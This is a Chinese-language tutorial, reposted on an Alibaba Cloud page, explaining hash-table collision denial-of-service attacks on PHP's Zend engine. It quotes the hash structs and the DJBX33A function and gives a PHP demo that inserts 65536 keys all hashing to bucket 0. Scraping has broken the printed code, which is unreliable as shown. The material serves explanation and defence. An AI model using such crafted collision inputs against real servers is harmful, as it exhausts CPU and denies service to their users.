PHP雜湊表碰撞攻擊

來源:互聯網
上載者:User

標籤:second   原理   eve   bucket   eee   www   屬性   sed   seconds   

雜湊表是一種尋找效率極高的資料結構,PHP中的雜湊表是一種極為重要的資料結構,不但用於表示數組,關聯陣列,對象屬性,函數表,符號表,還在Zend虛擬機器內部用於儲存上下文環境資訊(執行內容的變數及函數均使用雜湊表結構儲存)。

PHP是使用單鏈表格儲存體碰撞的資料,因此實際上PHP雜湊表的平均尋找複雜度為O(L),其中L為桶鏈表的平均長度;而最壞複雜度為O(N),此時所有資料全部碰撞,雜湊表退化成單鏈表

雜湊表碰撞攻擊就是通過精心構造資料,使得所有資料全部碰撞,人為將雜湊表變成一個退化的單鏈表,此時雜湊表各種操作的時間均提升了一個數量級,因此會消耗大量CPU資源,導致系統無法快速響應請求,從而達到拒絕服務的攻擊(DoS)的目的

 

下面是hash表的結構

1234567891011121314151617181920212223242526272829 typedef struct bucket {        ulong h;                                               /* Used for numeric indexing */        uint nKeyLength;        void *pData;        void *pDataPtr;        struct bucket *pListNext;        struct bucket *pListLast;        struct bucket *pNext;        struct bucket *pLast;        const char *arKey;} Bucket;typedef struct _hashtable {        uint nTableSize;        uint nTableMask;        uint nNumOfElements;        ulong nNextFreeElement;        Bucket *pInternalPointer;       /* Used for element traversal */        Bucket *pListHead;        Bucket *pListTail;        Bucket **arBuckets;        dtor_func_t pDestructor;        zend_bool persistent;        unsigned char nApplyCount;        zend_bool bApplyProtection;#if ZEND_DEBUG        int inconsistent;#endif} HashTable;

Zend HashTable的雜湊演算法異常簡單:

hash(key)=key & nTableMask

即簡單將資料的原始key與HashTable的nTableMask進行按位與即可。

如果原始key為字串,則首先使用Tims33演算法將字串轉為整形再與nTableMask按位與。

hash(strkey)=time33(strkey) & nTableMask

下面是Times 33 演算法 在/Zend/zend_hash.h這個檔案當中

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061 /* * DJBX33A (Daniel J. Bernstein, Times 33 with Addition) * * This is Daniel J. Bernstein‘s popular `times 33‘ hash function as * posted by him years ago on comp.lang.c. It basically uses a function * like ``hash(i) = hash(i-1) * 33 + str[i]‘‘. This is one of the best * known hash functions for strings. Because it is both computed very * fast and distributes very well. * * The magic of number 33, i.e. why it works better than many other * constants, prime or not, has never been adequately explained by * anyone. So I try an explanation: if one experimentally tests all * multipliers between 1 and 256 (as RSE did now) one detects that even * numbers are not useable at all. The remaining 128 odd numbers * (except for the number 1) work more or less all equally well. They * all distribute in an acceptable way and this way fill a hash table * with an average percent of approx. 86%. * * If one compares the Chi^2 values of the variants, the number 33 not * even has the best value. But the number 33 and a few other equally * good numbers like 17, 31, 63, 127 and 129 have nevertheless a great * advantage to the remaining numbers in the large set of possible* multipliers: their multiply operation can be replaced by a faster * operation based on just one shift plus either a single addition * or subtraction operation. And because a hash function has to both * distribute good _and_ has to be very fast to compute, those few * numbers should be preferred and seems to be the reason why Daniel J. * Bernstein also preferred it. * * *                  -- Ralf S. Engelschall <[email protected]> */static inline ulong zend_inline_hash_func(const char *arKey, uint nKeyLength){        register ulong hash = 5381;        /* variant with the hash unrolled eight times */        for (; nKeyLength >= 8; nKeyLength -= 8) {                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;                hash = ((hash << 5) + hash) + *arKey++;        }        switch (nKeyLength) {                case 7: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 6: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 5: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 4: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 3: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 2: hash = ((hash << 5) + hash) + *arKey++; /* fallthrough... */                case 1: hash = ((hash << 5) + hash) + *arKey++; break;                case 0: break;EMPTY_SWITCH_DEFAULT_CASE()  }        return hash;}

 

那麼, 這個索引值是怎麼構造的呢

PHP的Hashtable的大小都是2的指數, 比如如果你存入10個元素的數組, 那麼數組實際大小是16, 如果存入20個, 則實際大小為32, 而63個話, 實際大小為64. 當你的存入的元素個數大於了數組目前的最多元素個數的時候, PHP會對這個數組進行擴容, 並且從新Hash.

現在, 我們假設要存入65536個元素(中間可能會經過擴容, 但是我們只需要知道, 最後的數組大小是65536, 並且對應的tableMask為0 1111 1111 1111 1111), 那麼如果第一次我們存入的元素的索引值為0, 則hash後的值為0,第二次64 ,也使hash後的資料為0 第n次……  就可以使得底層的PHP數組把所有的元素都Hash到0號bucket上, 從而使得Hash表退化成鏈表了.

 

以下具體資料

0000 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0001 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0010 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0011 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

0100 0000 0000 0000 0000 & 0 1111 1111 1111 1111 = 0

……

概況來說只要保證後16位均為0,則與掩碼位於後得到的雜湊值全部碰撞在位置0。

下面是利用這個原理寫的一段攻擊代碼:

 

1234567891011121314151617181920212223242526272829 <?php  $size = pow(2, 16);  $startTime = microtime(true);  $array array();for ($key = 0, $maxKey = ($size - 1) * $size$key <= $maxKey$key += $size) {    $array[$key] = 0;}  $endTime = microtime(true);  echo $endTime $startTime‘ seconds‘"\n";/********************************************************************************************************/$size = pow(2, 16);$startTime = microtime(true);$array array();for ($key = 0, $maxKey = ($size - 1) * $size$key <= $size$key += 1) {$array[$key] = 0;}$endTime = microtime(true);echo $endTime $startTime‘ seconds‘"\n";

 

 

正常的幾秒就執行完了,而攻擊的則需要幾十秒

 

針對POST方式的雜湊碰撞攻擊,可以看  http://www.laruence.com/2011/12/30/2440.html。

參考:http://www.laruence.com/2011/12/30/2435.html

 

PHP雜湊表碰撞攻擊

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.